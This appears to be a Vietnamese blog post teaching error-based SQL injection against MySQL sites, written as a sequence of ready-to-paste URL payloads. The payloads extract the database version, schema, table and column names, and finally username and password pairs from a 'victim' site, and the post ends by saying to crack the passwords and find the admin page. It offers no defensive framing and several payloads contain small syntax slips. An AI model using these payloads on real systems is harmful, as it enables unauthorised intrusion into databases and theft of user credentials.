Bạn có thể sử dụng phương pháp này khi bạn nhận được thông báo lỗi như:

Error #1604
The Used Select Statements Have A Different Number Of Columns.
Unknown column 1 in order clause.

1.  Get version,database


http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+


Hoặc

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+



Chú ý: Nếu 2 querry trên mà nhận được thông báo như sau


Nghĩa là victim sử dụng sql ver 4, vậy ta có querry như sau:

http://site.com/view_product.php?id=242 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+

Kết quả:



* Muốn biết có bao nhiêu database tất cả ta dùng querry

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

ví dụ sau khi querry nó hiện như sau:


Như vậy chúng ta có thể xác định là có 1 database

- Tiếp theo chúng ta sẽ đi tìm tên của database:

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Ở đây các bạn cần chú ý:  limit 0,1
Các bạn tăng dần nó lên cho đến khi đã khai thác hết tên database 
Ví dụ như ở trên ta biết có 2 database thì ta tăng dần:  limit 0,1    limit 1,1  
Cứ như vậy querry tiếp, nếu có nhiều database hơn thì tăng giá trị limit lên thôi:  limit N,1

- Check xem có bao nhiêu tables

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Ở đây ta cần chú ý:  hex-database-name  chính là tên database dưới dạng mã hex (Cái này mình đã nói ở chap sqli căn bản, bạn nào không rõ thì đọc lại nhé)

- Check tên các tables

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

- Check xem có bao nhiêu column

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0xhex-tables-name 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

* chú ýhex-tables-name là tên tables dưới dạng mã hex

- Check tên các column

http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0xhex-tables-name 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

- Giả sử ta check được các column sau:  id,username,password

http://www.site.com/artist.php?i=36' and+(select 1 from(select+count(*),concat((select+concat(username,0x3a,password) from tables-name+limit+0,1),floor(rand(0)*2))x from information_schema.tables+group by x)a) and 1=1--+

* Chú ý:  tables-name: là tên tables chứa các column mà ta đang khai thác, các bạn nhớ thay nhé @_@

Sau câu querry trên chúng ta sẽ tìm được thứ ta muôn, công việc tiếp theo là crack pass và tìm link admin thôi.

Have done.

Đăng nhận xét Blogger

 
Top